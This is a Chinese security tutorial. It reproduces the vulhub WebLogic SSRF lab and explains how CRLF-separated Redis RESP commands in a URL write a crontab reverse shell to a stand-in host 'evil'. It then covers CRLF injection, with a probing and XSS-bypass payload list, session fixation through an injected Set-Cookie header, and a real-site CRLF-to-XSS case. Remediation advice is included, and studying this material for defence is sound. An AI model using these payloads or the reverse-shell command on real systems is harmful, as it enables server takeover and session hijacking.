文章目录

    • 前言
    • Redis通信协议RESP
    • SSRF利用HTTP头注入+Redis通信协议Getshell
    • 引发思考
    • 引出CRLF漏洞
      • CRLF概念
      • 漏洞危害
      • 漏洞检测
      • 挖掘技巧
      • 修复建议
    • 引出会话固定漏洞
      • 漏洞原理
      • 漏洞检测
      • 漏洞利用
      • 漏洞修复
    • CRLF+会话固定漏洞攻击组合
      • 实战案例
      • 漏洞利用原理
    • CRLF+XSS攻击
      • 实战案例
    • 总结

前言

​ 在我学习了SSRF漏洞之后,我复现了vulhub中的weblogic的ssrf漏洞,靶场地址如下:Weblogic SSRF漏洞。其中涉及到了注入HTTP头,利用Redis获得反弹shell,这里引发了我的一些思考,因此我写下了这篇文章。

我的思考主要起源于:为什么我们在SSRF的利用中,使用http协议能对redis直接进行操作?

​ 经过我的研究,我发现核心是因为Redis的通信协议 RESP(REdis Serialization Protocol,Redis序列化协议),这个协议具有一定的格式,我们通过http协议,构造出符合redis通信协议的数据,由于redis通信是基于tcp的,所以我称这个数据为tcp stream(tcp 流),当我们借助http协议将tcp流传到redis服务之后,redis就会根据自己的通信协议解析并执行。

Redis通信协议RESP

要想深入了解Reis通信协议,可以参考文章:Redis通信协议,这里就简单介绍一下Redis通信协议RESP(REdis Serialization Protocol,Redis序列化协议)发送数据的格式:

客户端与服务端之间的通信协议是在 TCP 协议之上构建的。

客户端和服务器通过 TCP 连接来进行数据交互, 服务器默认的端口号为 6379 。

客户端和服务器发送的命令或数据一律以 \r\n (CRLF)结尾。

Redis制定了 RESP(REdis Serialization Protocol,Redis序列化协议)实现客户端与服务端的正常交互,这种协议简单高效,既能够被机器解析,又容易被人类识别。

发送命令
RESP 在 Redis 1.2 版本中引入, 并最终在 Redis 2.0 版本成为 Redis 服务器通信的标准方式。

在这个协议中, 所有发送至 Redis 服务器的参数都是二进制安全(binary safe)的。

RESP 的规定一条命令的格式如下:

* CR LF$ CR LF CR LF...$ CR LF CR LF

命令本身也作为协议的其中一个参数来发送。

例如我们经常执行的 SET 命令,在命令行中我们输入如下:

SET key value

使用 RESP 协议规定的格式:

*3$3SET$3 # 这里 key 一共三个字节key$5 # 这里 value 一共五个字节value

这个命令的实际协议值如下:

"*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n"

SSRF利用HTTP头注入+Redis通信协议Getshell

漏洞复现详情请看Weblogic SSRF漏洞

在vulhub的Weblogic SSRF漏洞复现过程中,我们通过注入HTTP头利用Redis反弹Shell,POC如下:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1Host: localhostAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: close

在url中,这段数据就是我们构造的符合Redis通信协议的数据:

http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

这个数据解码后,其实长这样:

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"config set dir /etc/config set dbfilename crontabsave

这段命令的含义是往redis服务器中写入一个定时任务,并且在一定时间之后会通过bash来执行反弹shell。

引发思考

​ 我当时也很奇怪,为什么这个POC可以直接操作Redis?经过后面研究才路理清楚,这里是通过SSRF获得访问内网的Redis服务的权限,然后利用Redis的通信协议RESP,构造好一个恶意的tcp流,借助http协议将这个tcp流传给redis服务,redis服务在遵循通信协议的基础上对tcp流进行解析执行,从而帮我们完成恶意利用。

引出CRLF漏洞

参考文章:

Web安全-HTTP响应拆分(CRLF注入)漏洞

Web应用安全——Shiro 解决会话固定漏洞

​ 在以上研究过程中,我了解到在redis的通信协议中,redis发送的命令或数据一律以 \r\n (CRLF)结尾,在有的地方就叫做CRLF注入攻击。因此我进一步研究了一下CRLF攻击。

CRLF概念

​ CRLF是CR和LF两个字符的拼接,它们分别代表”回车+换行”(\r\n)。十六进制编码分别为0x0d和0x0a,URL编码为%0D和%0A。CR和LF组合在一起即CRLF命令,它表示键盘上的”Enter”键,许多应用程序和网络协议使用这些命令作为分隔符。
CR:回车,移动到当前行的开始

  • CR:回车,移动到当前行的开始
  • LF:换行 ,光标垂直移动到下一行

漏洞危害

​ 根据插入的CRLF的个数不同,可设置任意的响应头,控制响应正文。具体的危害表现在:会话固定、XSS等等,漏洞案例可以参考这篇文章:Web安全-HTTP响应拆分(CRLF注入)漏洞。

还有就是redis通信协议中使用了CRLF,比如在weblogic的SSRF漏洞中,对Redis通信协议的利用,就是使用CRLF来分隔命令,并且让redis服务器直接执行命令。

漏洞检测

如果我们发起请求之后,携带的数据出现在响应包中,说明就很有可能存在CRLF注入漏洞。

比如我们通过url控制浏览器重定向地址的时候,返回包中存在location信息,后面接的就是我们传入的重定向地址。

挖掘技巧

挖掘此类漏洞,依旧要遵循亘古不变的原则,观察我们的 “输入” 和 “输出” 位置,对于 CRLF 则是观察返回的各种类型的协议头,所以挖掘分三步:

  1. 观察输出是否在返回头中,查看输入,可能是在 URL 值和参数、cookie 头中,在过往的挖掘过程中,最常见的两种情况是使用输入参数创建 Cookie 和 302 跳转 location 处;

  2. 提交 %0D%0A 字符,验证服务器是否响应 %0D%0A,若过滤可以通过双重编码绕过;

  3. 漏洞利用,使杀伤最大化,将漏洞转化为 HTML 注入,XSS,缓存 等。

附上 CRLF Payload:

//探测漏洞:%0d%0aheader:header%0aheader:header%0dheader:header%23%0dheader:header%3f%0dheader:header/%250aheader:header/%250aheader:header/%%0a0aheader:header/%3f%0dheader:header/%23%0dheader:header/%25%30aheader:header/%25%30%61header:header/%u000aheader:header//开放重定向:/www.google.com/%2f%2e%2e%0d%0aheader:header//CRLF-XSS:%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%0d%0a0%0d%0a/%2e%2e//XSS绕过:%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c///Location:%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E

修复建议

  1. 过滤CRLF字符以及其他控制字符
  2. 用户的输入不对其直接输出
  3. 避免 http 响应截断,需要注意以下几点:
    • 对用户的数据进行合法性校验,对特殊的字符进行编码,如 、’、”、CR、LF 等,限制用户输入的 CR 和 LF,或者对 CR 和 LF 字符正确编码后再输出,以防止注入自定义 HTTP 头;
    • 创建安全字符白名单,只接受白名单中的字符出现在 HTTP 响应头文件中;
    • 在将数据传送到 http 响应头之前,删除所有的换行符。

引出会话固定漏洞

参考文章:会话固定漏洞

漏洞原理

Session 是应用系统对浏览器客户端身份认证的属性标识,在用户退出应用系统时,应将客户端 Session 认证属性标识清空。如果未能清空客户端 Session 标识,在下次登录系统时,系统会重复利用该 Session 标识进行认证会话。攻击者可利用该漏洞生成固定Session 会话,并诱骗用户利用攻击者生成的固定会话进行系统登录,从而导致用户会话认证被窃取。

但是这个漏洞在实际应用过程中比较鸡肋,需要配合XSS攻击等方式。了解原理就行

漏洞检测

  • 访问网站(未登录):获取cookie信息,获取sessionid
  • 登录网站:查看cookie信息,获取sessionid
  • 查看登录前,登录后sessionid是否相同

判断标准:登录前后的sessionid如果相同,就存在会话固定漏洞,如果不同,则不存在

漏洞利用

1、攻击者Attacker能正常访问该应用网站;

2、应用网站服务器返回一个会话ID给他;

3、攻击者Attacker用该会话ID构造一个该网站链接发给受害者Victim;

4、受害者Victim点击该链接,携带攻击者的会话ID和自己的用户名密码正常登录了该网站,该会话id成功通过了验证;

6、由于存在固定漏洞,登录前后的id值一样。所以攻击者Attacker可以用该会话ID成功冒充劫持受害者Victim的会话。

ps:这里的难点就是如何将会话id发送给受害者,并且让受害者携带该id通过认证。

漏洞修复

保证登录前的session和登录后的session不一致,及时变更session。

CRLF+会话固定漏洞攻击组合

可以参考这篇文章:Web安全-HTTP响应拆分(CRLF注入)漏洞。

思路:当我们发现一个网站存在CRLF漏洞之后,就需要想到会话固定漏洞的利用思路。

实战案例

正常一般网站会在 HTTP 头中用 Location: ip 这种方式来进行 302 跳转,所以攻击者可以构造恶意的 CRLF 字符控制的内容就是 Location: 后面的内容!

一个正常的 302 跳转包是这样:

HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.sina.com.cn

但如果我们输入的是:

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyu

注入了一个换行,此时的返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.sina.com.cn Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个 SESSION,造成一个 “会话固定漏洞”。

漏洞利用原理

当网站具有CRLF漏洞的时候,我们可以设置任意的响应头,控制响应正文,因此我们可以利用CRLF来控制网站的session,我们可以发送一个链接给受害者访问,受害者接收到的响应中就会让受害者的浏览器设置session,然而这个session就是hacker设置的,当受害者登录这个网站之后,就相当于携带着hacker的会话登录了网站,从而帮助hacker通过了服务器的认证,进而可以利用这个session绕过登录

CRLF+XSS攻击

可以参考这篇文章:Web安全-HTTP响应拆分(CRLF注入)漏洞。

当然,CRLF(HRS) 并不仅限于会话固定,通过注入两个 CRLF 就能造成一个无视浏览器 Filter 的反射型 XSS。

比如一个网站接受 url 参数 http://test.sina.com.cn/” />实战案例

来一个真实案例, 新浪某分站含有一个 url 跳转漏洞,危害并不大,于是我就想到了 CRLF Injection,当我测试:

http://xxx.sina.com.cn/?url=%0d%0a%0d%0a%3Cimg%20src=1%3E

发现图片已经输出在页面中了,说明 CRLF 注入成功了:

那么我们试试 XSS 看看:

看控制台,果然被 XSS Filter 拦截了。

那么我们就注入一个:

X-XSS-Protection:0

到数据包中,看看什么效果:

总结

​ 通过上面的SSRF漏洞复现,我了解到了Redis通信协议中的CRLF,于是研究了一下CRLF漏洞,这个漏洞还可能导致会话固定漏洞,XSS漏洞等。

​ 因此我们可以很容易形成利用链,如果某个地方出现了CRLF漏洞,j就需要敏锐的联系到其他漏洞,形成组合拳攻击,比如可以尝试寻找会话固定漏洞,达到绕过登录的目的,或者利用XSS漏洞获取对方客户端数据。